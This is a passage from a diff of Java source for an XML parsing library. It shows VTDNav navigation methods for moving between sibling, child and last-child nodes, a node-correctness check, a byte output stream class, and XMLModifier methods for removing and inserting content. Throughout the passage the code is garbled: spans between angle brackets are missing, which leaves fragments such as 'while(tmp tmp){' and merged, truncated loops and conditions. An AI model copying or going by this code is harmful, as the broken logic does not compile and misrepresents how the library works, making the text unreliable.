vtdSize-1; + + if (l1index != l1Buffer.size-1){ + lastEntry = index = l1Buffer.upper32At(l1index+1)-1; + } + + if (l2index != l2Buffer.size-1 && l2index != l2upper){ + lastEntry = index = l2Buffer.upper32At(l2index+1)-1; + } + // insert here + tmp = l3Buffer.upper32At(l3index); + + //rewind + while(index>tmp){ + if (getTokenDepth(index)<3) + index--; + else + break; + } + if ((/*lastEntry==index &&*/ getTokenDepth(index)==2)){ + LN = index; + atTerminal = true; + context[0]=2; + return true; + } + + if (lastEntry!=index && getTokenDepth(index+1)==2 ){ + LN = index+1; + atTerminal = true; + context[0]=2; + return true; + } + return false; + } + } + case 4: + if(atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + if (l4Buffer.lower32At(l4index) != -1) { + if (LN < l5Buffer.intAt(l5upper)) { + tmp = l5Buffer.intAt(l5index); + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < tmp) { + LN = index; + return true; + } else { + context[0] = 5; + context[5] = tmp; + atTerminal = false; + return true; + } + } else { + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < vtdSize) { + depth = getTokenDepth(index); + if (depth==4 && getTokenType(index)!=TOKEN_STARTING_TAG){ + LN = index; + return true; + } + return false; + } + return false; + } + }else{ + index= LN+1; + if (tokenType==TOKEN_PI_NAME) + index++; + if (index < vtdSize){ + depth = getTokenDepth(index); + if (depth==4 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + }else{ + return false; + } + } + }else{ + //l2index < l2upper + if (l4index< l4upper){ + tmp = l4Buffer.upper32At(l4index); + l4index++; + lastEntry = index = l4Buffer.upper32At(l4index)-1; + //rewind + loop2:while(index>tmp){ + if (getTokenDepth(index)==3){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index = index -2; + break; + default: + break loop2; + } + }else + break loop2; + } + if (index == lastEntry){ + context[0] = 4; + context[4] = index+1; + return true; + } + context[0]=3; + LN = index+1; + atTerminal = true; + return true; + }else{ + lastEntry = index = vtdSize-1; + + if (l1index != l1Buffer.size-1){ + lastEntry = index = l1Buffer.upper32At(l1index+1)-1; + } + + if (l2index != l2Buffer.size-1 && l2index != l2upper){ + lastEntry = index = l2Buffer.upper32At(l2index+1)-1; + } + + if (l3index != l3Buffer.size-1 && l3index != l3upper){ + lastEntry = index = l3Buffer.upper32At(l3index+1)-1; + } + // insert here + tmp = l4Buffer.upper32At(l4index); + + //rewind + while(index>tmp){ + if (getTokenDepth(index)<4) + index--; + else + break; + } + if ((/*lastEntry==index &&*/ getTokenDepth(index)==3)){ + LN = index; + atTerminal = true; + context[0]=3; + return true; + } + + if (lastEntry!=index && getTokenDepth(index+1)==3){ + LN = index+1; + atTerminal = true; + context[0]=3; + return true; + } + return false; + } + } + + case 5: + if(!atTerminal){ + //l2index < l2upper + if (l5index< l5upper){ + tmp = l5Buffer.intAt(l5index); + l5index++; + lastEntry = index = l5Buffer.intAt(l5index)-1; + //rewind + loop2:while(index>tmp){ + if (getTokenDepth(index)==4){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index = index -2; + break; + default: + break loop2; + } + }else + break loop2; + } + if (index == lastEntry){ + context[0]= 5; + context[5] = index+1; + return true; + } + context[0]=4; + LN = index+1; + atTerminal = true; + return true; + }else{ + lastEntry = index = vtdSize-1; + + if (l1index != l1Buffer.size-1){ + lastEntry = index = l1Buffer.upper32At(l1index+1)-1; + } + + if (l2index != l2Buffer.size-1 && l2index != l2upper){ + lastEntry = index = l2Buffer.upper32At(l2index+1)-1; + } + + if (l3index != l3Buffer.size-1 && l3index != l3upper){ + lastEntry = index = l3Buffer.upper32At(l3index+1)-1; + } + if (l4index != l4Buffer.size-1 && l4index != l4upper){ + lastEntry = index = l4Buffer.upper32At(l4index+1)-1; + } + // inser here + tmp = l5Buffer.intAt(l5index); + + //rewind + while(index>tmp){ + if (getTokenDepth(index)<5) + index--; + else + break; + } + if ((/*lastEntry==index &&*/ getTokenDepth(index)==4)){ + LN = index; + atTerminal = true; + context[0]=4; + return true; + } + + if (lastEntry!=index && getTokenDepth(index+1)==4){ + LN = index+1; + atTerminal = true; + context[0]=4; + return true; + } + + return false; + } + + } + //break; + default: + if (atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + index = LN+1; + tmp = context[0]+1; + } + else{ + index = context[context[0]] + 1; + tmp = context[0]; + } + while (index < vtdSize) { + long temp = vtdBuffer.longAt(index); + tokenType = (int) ((MASK_TOKEN_TYPE & temp) >>> 60); + depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + switch (tokenType) { + case TOKEN_STARTING_TAG: + if (depth < tmp) { + return false; + } else if (depth == tmp) { + context[0]=tmp; + context[context[0]] = index; + atTerminal = false; + return true; + }else + index++; + break; + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index += 2; + break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + //depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < tmp-1) { + return false; + } else if (depth == (tmp-1)) { + context[0]=tmp-1; + LN = index; + atTerminal = true; + return true; + } else + index++; + break; + case TOKEN_PI_NAME: + //depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < tmp-1) { + return false; + } else if (depth == tmp-1) { + context[0]=tmp-1; + LN = index; + atTerminal = true; + return true; + } else + index += 2; + break; + default: + index++; + } + + } + return false; + } + case PREV_SIBLING: + return toNode_PrevSibling(); + default : + throw new NavException("illegal navigation options"); + } + } + + protected boolean toNode_PrevSibling(){ + int index,tokenType,depth,tmp; + switch (context[0]) { + case -1: + if(atTerminal){ + index = LN-1; + if (index>0){ + depth = getTokenDepth(index); + if (depth==-1){ + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_COMMENT: + LN = index; + return true; + default: + return false; + } + }else{ + context[0] = 0; + atTerminal = false; + return true; + } + }else{ + return false; + } + }else{ + return false; + } + + case 0: + if(atTerminal){ + if (l1Buffer.size!=0){ + // three cases + if (LN < l1Buffer.upper32At(l1index)){ + index = LN-1; + if (index>rootIndex){ + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth == 0){ + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + return true; + case TOKEN_PI_VAL: + LN = index -1; + return true; + } + } + if (l1index==0) + return false; + l1index--; + atTerminal = false; + context[0]=1; + context[1]= l1Buffer.upper32At(l1index); + return true; + }else + return false; + } else { + index = LN -1; + if (index>l1Buffer.upper32At(l1index)){ + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth == 0){ + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + return true; + case TOKEN_PI_VAL: + LN = index -1; + return true; + } + } + } + atTerminal = false; + context[0]=1; + context[1]= l1Buffer.upper32At(l1index); + return true; + } + }else{ + index = LN-1; + if (index>rootIndex){ + tokenType=getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=0; + return true; + default: + return false; + } + } + } + return false; + + }else{ + index = rootIndex-1; + if (index>0){ + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_COMMENT: + LN = index; + atTerminal = true; + context[0]=-1; + return true; + default: + return false; + } + }else{ + return false; + } + } + //break; + case 1: + if(atTerminal){ + if (l1Buffer.lower32At(l1index)!=-1){ + tmp = l2Buffer.upper32At(l2index); + if (LN > tmp){ + index = LN-1; + if (getTokenType(index)==TOKEN_PI_VAL){ + index--; + } + if (getTokenDepth(index)==1){ + LN = index; + return true; + }else{ + atTerminal = false; + context[0]=2; + context[2]=tmp; + return true; + } + } else if (l2index!=l2lower){ + l2index--; + atTerminal = false; + context[0]=2; + context[2]=l2Buffer.upper32At(l2index); + return true; + } else { + index = LN-1; + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=1; + return true; + default: + return false; + } + } + }else{ + index= LN-1; + if (getTokenType(index)==TOKEN_PI_VAL) + index--; + if (index > context[1]){ + tokenType = getTokenType(index); + if (tokenType!= VTDNav.TOKEN_ATTR_VAL){ + LN = index; + atTerminal = true; + return true; + }else + return false; + }else{ + return false; + } + } + }else{ + index = context[1]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==0 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=0; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l1index != 0){ + l1index--; + context[1] = l1Buffer.upper32At(l1index); + return true; + }else + return false; + } + } + //break; + case 2: + if(atTerminal){ + if (l2Buffer.lower32At(l2index)!=-1){ + tmp = l3Buffer.upper32At(l3index); + if (LN > tmp){ + index = LN-1; + if (getTokenType(index)==TOKEN_PI_VAL){ + index--; + } + if (getTokenDepth(index)==2){ + LN = index; + return true; + }else{ + atTerminal = false; + context[0]=3; + context[3]=tmp; + return true; + } + } else if (l3index!=l3lower){ + l3index--; + atTerminal = false; + context[0]=3; + context[3]=l3Buffer.upper32At(l3index); + return true; + } else { + index = LN-1; + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=2; + return true; + default: + return false; + } + } + }else{ + index= LN-1; + if (getTokenType(index)==TOKEN_PI_VAL) + index--; + if (index > context[2]){ + tokenType = getTokenType(index); + if (tokenType!= VTDNav.TOKEN_ATTR_VAL){ + LN = index; + atTerminal = true; + return true; + }else + return false; + }else{ + return false; + } + } + }else{ + index = context[2]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==1 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=1; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l2index != l2lower){ + l2index--; + context[2] = l2Buffer.upper32At(l2index); + return true; + }else + return false; + } + } + //break; + case 3: + if(atTerminal){ + if (l3Buffer.lower32At(l3index)!=-1){ + tmp = l4Buffer.upper32At(l4index); + if (LN > tmp){ + index = LN-1; + if (getTokenType(index)==TOKEN_PI_VAL){ + index--; + } + if (getTokenDepth(index)==3){ + LN = index; + return true; + }else{ + atTerminal = false; + context[0]=4; + context[4]=tmp; + return true; + } + } else if (l4index!=l4lower){ + l4index--; + atTerminal = false; + context[0]=4; + context[4]=l4Buffer.upper32At(l4index); + return true; + } else { + index = LN-1; + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=3; + return true; + default: + return false; + } + } + }else{ + index= LN-1; + if (getTokenType(index)==TOKEN_PI_VAL) + index--; + if (index > context[3]){ + tokenType = getTokenType(index); + if (tokenType!= VTDNav.TOKEN_ATTR_VAL){ + LN = index; + atTerminal = true; + return true; + }else + return false; + }else{ + return false; + } + } + }else{ + index = context[3]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==2 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=2; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l3index != l3lower){ + l3index--; + context[3] = l3Buffer.upper32At(l3index); + return true; + }else + return false; + } + } + case 4: + if(atTerminal){ + if (l4Buffer.lower32At(l4index)!=-1){ + tmp = l5Buffer.intAt(l5index); + if (LN > tmp){ + index = LN-1; + if (getTokenType(index)==TOKEN_PI_VAL){ + index--; + } + if (getTokenDepth(index)==4){ + LN = index; + return true; + }else{ + atTerminal = false; + context[0]=5; + context[5]=tmp; + return true; + } + } else if (l5index!=l5lower){ + l5index--; + atTerminal = false; + context[0]=5; + context[5]=l5Buffer.intAt(l5index); + return true; + } else { + index = LN-1; + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=4; + return true; + default: + return false; + } + } + }else{ + index= LN-1; + if (getTokenType(index)==TOKEN_PI_VAL) + index--; + if (index > context[4]){ + tokenType = getTokenType(index); + if (tokenType!= VTDNav.TOKEN_ATTR_VAL){ + LN = index; + atTerminal = true; + return true; + }else + return false; + }else{ + return false; + } + } + }else{ + index = context[4]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==3 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=3; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l4index != l4lower){ + l4index--; + context[4] = l4Buffer.upper32At(l4index); + return true; + }else + return false; + } + } + case 5: + if(!atTerminal){ + index = context[5]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==4 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=4; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l5index != l5lower){ + l5index--; + context[5] = l5Buffer.intAt(l5index); + return true; + }else + return false; + } + } + default: + if (atTerminal){ + index = LN-1; + tmp = context[0]+1; + } + else{ + index = context[context[0]] - 1; + tmp = context[0]; + } + while (index > context[tmp-1]) { + long temp = vtdBuffer.longAt(index); + tokenType = (int) ((MASK_TOKEN_TYPE & temp) >>> 60); + depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + switch (tokenType) { + case TOKEN_STARTING_TAG: + if (depth == tmp) { + context[0] = tmp; + context[context[0]] = index; + atTerminal = false; + return true; + }else + index--; + break; + case TOKEN_ATTR_VAL: + //case TOKEN_ATTR_NS: + index -= 2; + break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + if (depth == tmp-1) { + context[0]=tmp-1; + LN = index; + atTerminal = true; + return true; + } else + index--; + break; + case TOKEN_PI_VAL: + if (depth == (tmp-1)) { + context[0] = tmp-1; + LN = index-1; + atTerminal = true; + return true; + } else + index -= 2; + break; + default: + index--; + } + + } + return false; + } + } + + protected boolean toNode_LastChild(){ + int depth,index,tokenType,lastEntry,tmp; + switch (context[0]) { + case -1: + index = vtdSize-1; + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth == -1) { + switch (tokenType) { + case TOKEN_COMMENT: + LN = index; + atTerminal = true; + return true; + case TOKEN_PI_VAL: + LN = index -1; + atTerminal = true; + return true; + } + } + context[0]=0; + return true; + + case 0: + if (l1Buffer.size!=0){ + lastEntry = l1Buffer.upper32At(l1Buffer.size-1); + index = vtdSize-1; + while(index > lastEntry){ + depth = getTokenDepth(index); + if (depth==-1){ + index--; + continue; + } else if (depth ==0){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + atTerminal = true; + l1index = l1Buffer.size -1; + return true; + case TOKEN_PI_VAL: + LN = index -1; + atTerminal = true; + l1index = l1Buffer.size -1; + return true; + default: + return false; + } + }else { + l1index = l1Buffer.size -1; + context[0]= 1; + context[1]= lastEntry; + return true; + } + } + l1index = l1Buffer.size -1; + context[0]= 1; + context[1]= lastEntry; + return true; + }else{ + index = vtdSize - 1; + while(index>rootIndex){ + depth = getTokenDepth(index); + if (depth == -1){ + index--; + continue; + } + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + atTerminal = true; + return true; + case TOKEN_PI_VAL: + LN = index-1; + atTerminal = true; + return true; + default: + return false; + } + } + return false; + } + + case 1: + if (l1Buffer.lower32At(l1index)!=-1){ + l2lower = l1Buffer.lower32At(l1index); + tmp = l1index+1; + while(tmp tmp){ + depth = getTokenDepth(index); + if (depth <1) + index--; + else if (depth == 1){ + tokenType = getTokenType(index); + if (tokenType == TOKEN_PI_VAL) + LN = index-1; + else + LN = index; + atTerminal = true; + //context[0]=1; + return true; + }else + break; + } + context[0]=2; + context[2]=tmp; + return true; + + + }else{ + index = context[1]+1; + loop: while(index tmp){ + depth = getTokenDepth(index); + if (depth <2) + index--; + else if (depth == 2){ + tokenType = getTokenType(index); + if (tokenType == TOKEN_PI_VAL) + LN = index-1; + else + LN = index; + atTerminal = true; + //context[0]=1; + return true; + }else + break; + } + context[0]=3; + context[3]=tmp; + return true; + }else{ + index = context[2]+1; + loop: while(index tmp) { + depth = getTokenDepth(index); + if (depth < 3) + index--; + else if (depth == 3) { + tokenType = getTokenType(index); + if (tokenType == TOKEN_PI_VAL) + LN = index - 1; + else + LN = index; + atTerminal = true; + // context[0]=1; + return true; + } else + break; + } + context[0] = 4; + context[4] = tmp; + return true; + } else { + index = context[3] + 1; + loop: while (index < vtdSize) { + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index += 2; + break; + default: + break loop; + } + } + + if (index < vtdSize && getTokenDepth(index) == 3 + && getTokenType(index) != VTDNav.TOKEN_STARTING_TAG) { + lastEntry = index; + index++; + // scan forward + loop2: while (index < vtdSize) { + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth == 3) { + switch (tokenType) { + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + lastEntry = index; + index++; + break; + case TOKEN_PI_NAME: + lastEntry = index; + index += 2; + break; + default: + break loop2; + } + } else + break loop2; + } + LN = lastEntry; + atTerminal = true; + return true; + } else + return false; + } + case 4: + if (l4Buffer.lower32At(l4index)!=-1){ + l5lower = l4Buffer.lower32At(l4index); + tmp = l4index+1; + while(tmp tmp){ + depth = getTokenDepth(index); + if (depth <4) + index--; + else if (depth == 4){ + tokenType = getTokenType(index); + if (tokenType == TOKEN_PI_VAL) + LN = index-1; + else + LN = index; + atTerminal = true; + //context[0]=1; + return true; + }else + break; + } + context[0]=5; + context[5]=tmp; + return true; + }else{ + index = context[4]+1; + loop: while(index>> 60); + depth =getTokenDepth(index); + switch(tokenType){ + case TOKEN_STARTING_TAG: + if (depth <= context[0]){ + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + }else{ + context[0]+=1; + context[context[0]] = lastEntry; + } + return true; + } else + return false; + }else if (depth == (context[0] + 1)) { + lastEntry = index; + atTerminal= false; + } + index++; + break; + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: index+=2;break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + if (depth < context[0]){ + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + } + else{ + context[0]++; + context[context[0]]=lastEntry; + } + return true; + }else + return false; + }else if (depth == (context[0])) { + lastEntry = index; + atTerminal = true; + } + index++; + break; + case TOKEN_PI_NAME: + if (depth < context[0]){ + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + } + else{ + context[0]++; + context[context[0]]=lastEntry; + } + return true; + }else + return false; + }else if (depth == (context[0])) { + lastEntry = index; + atTerminal = true; + } + index+=2; + break; + } + //index++; + } // what condition + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + } + else{ + context[0]++; + context[context[0]]=lastEntry; + } + return true; + }else + return false; + } + } + + + public boolean verifyNodeCorrectness(){ + if (atTerminal){ + // check l1 index, l2 index, l2lower, l2upper, l3 index, l3 lower, l3 upper + if (getTokenDepth(LN)!=context[0]) + return false; + switch(context[0]){ + case -1: return true; + case 0: + //if (getTokenDepth(LN)!=0) + // return false; + if (l1Buffer.size!=0){ + if (l1index>=l1Buffer.size || l1index<0) + return false; + if (l1index != l1Buffer.size-1){ + + if (l1Buffer.upper32At(l1index)context[1]){ + //if (getTokenDepth(LN) != 1) + // return false; + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1, i2, i3; // l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + if (i1 != -1) { + + int tmp = l1index + 1; + i2 = l2Buffer.size - 1; + while (tmp < l1Buffer.size) { + if (l1Buffer.lower32At(tmp) != -1) { + i2 = l1Buffer.lower32At(tmp) - 1; + break; + } else + tmp++; + } + if (i1 != l2lower) + return false; + if (l2upper != i2) + return false; + if (l2index > l2upper || l2index < l2lower) + return false; + if (l2index != l2upper) { + if (l2Buffer.upper32At(l2index) < LN) + return false; + } + } + return true; + }else + return false; + case 2: + if (LN>context[2] && context[2]> context[1]){ + //if (getTokenDepth(LN) != 2) + // return false; + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1,i2, i3; //l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + if(i1==-1)return false; + if (i1!=l2lower) + return false; + int tmp = l1index+1; + i2 = l2Buffer.size-1; + while(tmpl2upper || l2index < l2lower){ + return false; + } + //l3 + i1 = l2Buffer.lower32At(l2index); + if (i1!=-1){ + if (l3lower!=i1) + return false; + i2 = l3Buffer.size-1; + tmp = l2index+1; + + while(tmp l3upper || l3index < l3lower) + return false; + if (l3index != l3upper) { + if (l3Buffer.upper32At(l3index) < LN) + return false; + } + } + return true; + }else + return false; + + case 3: + if (LN>context[3] && context[3]> context[2] && context[2]> context[1]){ + //if (getTokenDepth(LN) != 2) + // return false; + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1,i2, i3; //l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + if(i1==-1)return false; + if (i1!=l2lower) + return false; + int tmp = l1index+1; + i2 = l2Buffer.size-1; + while(tmpl2upper || l2index < l2lower){ + return false; + } + //l3 + i1 = l2Buffer.lower32At(l2index); + if (i1==-1){return false;} + if (l3lower!=i1) + return false; + i2 = l3Buffer.size-1; + tmp = l2index+1; + + while(tmp l3upper || l3index < l3lower) + return false; + /*if (l3index != l3upper) { + if (l3Buffer.upper32At(l3index) < LN) + return false; + } */ + //l4 + i1 = l3Buffer.lower32At(l3index); + if (i1!=-1){ + if (l4lower!=i1) + return false; + i2 = l4Buffer.size-1; + tmp = l3index+1; + + while(tmp l4upper || l4index < l4lower) + return false; + if (l4index != l4upper) { + if (l4Buffer.upper32At(l4index) < LN) + return false; + } + } + return true; + }else + return false; + case 4: + if (LN>context[3] && context[3]> context[2] && context[2]> context[1]){ + //if (getTokenDepth(LN) != 2) + // return false; + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1,i2, i3; //l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + if(i1==-1)return false; + if (i1!=l2lower) + return false; + int tmp = l1index+1; + i2 = l2Buffer.size-1; + while(tmpl2upper || l2index < l2lower){ + return false; + } + //l3 + i1 = l2Buffer.lower32At(l2index); + if (i1==-1){return false;} + if (l3lower!=i1) + return false; + i2 = l3Buffer.size-1; + tmp = l2index+1; + + while(tmp l3upper || l3index < l3lower) + return false; + /*if (l3index != l3upper) { + if (l3Buffer.upper32At(l3index) < LN) + return false; + } */ + i1 = l3Buffer.lower32At(l3index); + if (i1==-1){ return false;} + if (l4lower!=i1) + return false; + i2 = l4Buffer.size-1; + tmp = l3index+1; + + while(tmp l4upper || l4index < l4lower) + return false; + /*if (l4index != l4upper) { + if (l4Buffer.upper32At(l4index) < LN) + return false; + }*/ + i1=l4Buffer.lower32At(l4index); + if (i1!=-1){ + if (i1!=l5lower)return false; + i2 = l5Buffer.size-1; + tmp = l4index+1; + + while(tmpi2) + return false; + + if (l5index != l5upper) { + if (l5Buffer.intAt(l5index) < LN) + return false; + } + } + return true; + }else + return false; + + + default: + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1,i2,i3; //l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + if(i1==-1)return false; + if (i1!=l2lower) + return false; + int tmp = l1index+1; + i2 = l2Buffer.size-1; + while(tmpl2upper || l2index < l2lower){ + return false; + } + //l3 + i1 = l2Buffer.lower32At(l2index); + if (i1==-1){return false;} + if (l3lower!=i1) + return false; + i2 = l3Buffer.size-1; + tmp = l2index+1; + + while(tmp l3upper || l3index < l3lower) + return false; + + i1 = l3Buffer.lower32At(l3index); + if (i1==-1){ return false;} + if (l4lower!=i1) + return false; + i2 = l4Buffer.size-1; + tmp = l3index+1; + + while(tmp l4upper || l4index < l4lower) + return false; + /*if (l4index != l4upper) { + if (l4Buffer.upper32At(l4index) < LN) + return false; + }*/ + i1=l4Buffer.lower32At(l4index); + + if (i1!=l5lower)return false; + i2 = l5Buffer.size-1; + tmp = l4index+1; + + while(tmpi2) + return false; + + if (context[context[0]]>LN) + return false; + + if (context[0]==5){ + if (l5index!=l5upper){ + if(l5Buffer.intAt(l5index)>LN) + return false; + } + if (l5index+1 <= l5Buffer.size-1){ + if (l5Buffer.intAt(l5index+1)XMLDoc.length) + throw new IOException("XMLDoc size exceeds maximum size"); + System.arraycopy(ba, 0, XMLDoc, offset, ba.length); + offset+=ba.length; + } + + public void write(byte[] ba, int os, int len) throws IOException{ + if (len+offset>XMLDoc.length) + throw new IOException("XMLDoc size exceeds maximum size"); + System.arraycopy(ba, os, XMLDoc, offset, len); + offset +=len; + } + + public void close(){ + offset = 0; + } + + public XMLByteOutputStream(int size){ + XMLDoc = new byte[size]; + offset =0; + } + + public String toString(){ + StringBuilder sb = new StringBuilder(XMLDoc.length); + for(int i=0;i>32)); + } else if (type == VTDNav.TOKEN_ATTR_NAME + || type==VTDNav.TOKEN_ATTR_NS){ + removeAttribute(i); + } else { + removeToken(i); + } + } + + /** + * Remove a byte segment from XML. + * l's upper 32 bits is length in # of bytes + * l's lower 32 bits is byte offset + * @param l + * @throws NavException + * @throws ModifyException + * + */ + public void remove(long l) throws NavException,ModifyException{ + removeContent((int)l, (int)(l>>32)); + } + + /** + * Remove the token content. If the token type is text, CDATA + * or comment, then the entire node, including the starting and + * ending delimiting text, will be removed as well + * @param i the index for the content + * + */ + public void removeToken(int i) throws ModifyException{ + int type = md.getTokenType(i); + int os = md.getTokenOffset(i); + //int len = md.getTokenLength(i)&0xffff; + int len = + (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_ATTR_NS) + ? md.getTokenLength(i) & 0xffff + : md.getTokenLength(i); + switch(type){ + case VTDNav.TOKEN_CDATA_VAL: + if (encoding < VTDNav.FORMAT_UTF_16BE) + removeContent(os - 9, len + 12 ); + else + removeContent((os - 9)<<1,(len+12)<<1); + return; + + case VTDNav.TOKEN_COMMENT: + if (encoding < VTDNav.FORMAT_UTF_16BE) + removeContent(os-4, len+7); + else + removeContent((os-4) << 1, (len+7) << 1); + return; + + default: + if (encoding < VTDNav.FORMAT_UTF_16BE) + removeContent(os, len); + else + removeContent((os) << 1, (len) << 1); + return; + } + } + /** + * Remove an attribute name value pair from the master document. + * @param attrNameIndex + * + */ + public void removeAttribute(int attrNameIndex) throws ModifyException{ + int type = md.getTokenType(attrNameIndex); + if (type != VTDNav.TOKEN_ATTR_NAME&& type != VTDNav.TOKEN_ATTR_NS) + throw new ModifyException("token type should be attribute name"); + int os1 = md.getTokenOffset(attrNameIndex); + int os2 = md.getTokenOffset(attrNameIndex+1); + int len2 = md.getTokenLength(attrNameIndex+1); + if (encoding < VTDNav.FORMAT_UTF_16BE) + removeContent(os1,os2+len2-os1+1); + else + removeContent(os1<<1,(os2+len2-os1+1)<<1); + + } + + /** + * Remove a segment of byte content from master XML doc. + * The segment is denoted by its offset and len. + * @param offset + * @param len + * + */ + public void removeContent(int offset, int len) throws ModifyException{ + + if (offset < md.docOffset || len > md.docLen + || offset + len > md.docOffset + md.docLen){ + throw new ModifyException("Invalid offset or length for removeContent"); + } + if (deleteHash.isUnique(offset)==false) + throw new ModifyException("There can be only one deletion per offset value"); + while(len > (1<<29)-1){ + flb.append(((long)((1<<29)-1))<<32 | offset | MASK_DELETE); + fob.append((Object)null); + len -= (1<<29)-1; + offset += (1<<29)-1; + } + flb.append(((long)len)<<32 | offset | MASK_DELETE); + fob.append((Object)null); + } + + /** + * insert the byte content into XML and surround it with ">" and "<" + * @param offset (in char, not byte) + * @param content + * + */ + private void insertBytesEnclosedAt(int offset, byte[] content) throws ModifyException{ + + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + flb.append( (long)offset | MASK_INSERT_BYTE_ENCLOSED); + fob.append(content); + } + + /** + * insert the byte content into XML + * @param offset (in char, not byte) + * @param content + * + */ + public void insertBytesAt(int offset, byte[] content) throws ModifyException{ + + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + flb.append( (long)offset | 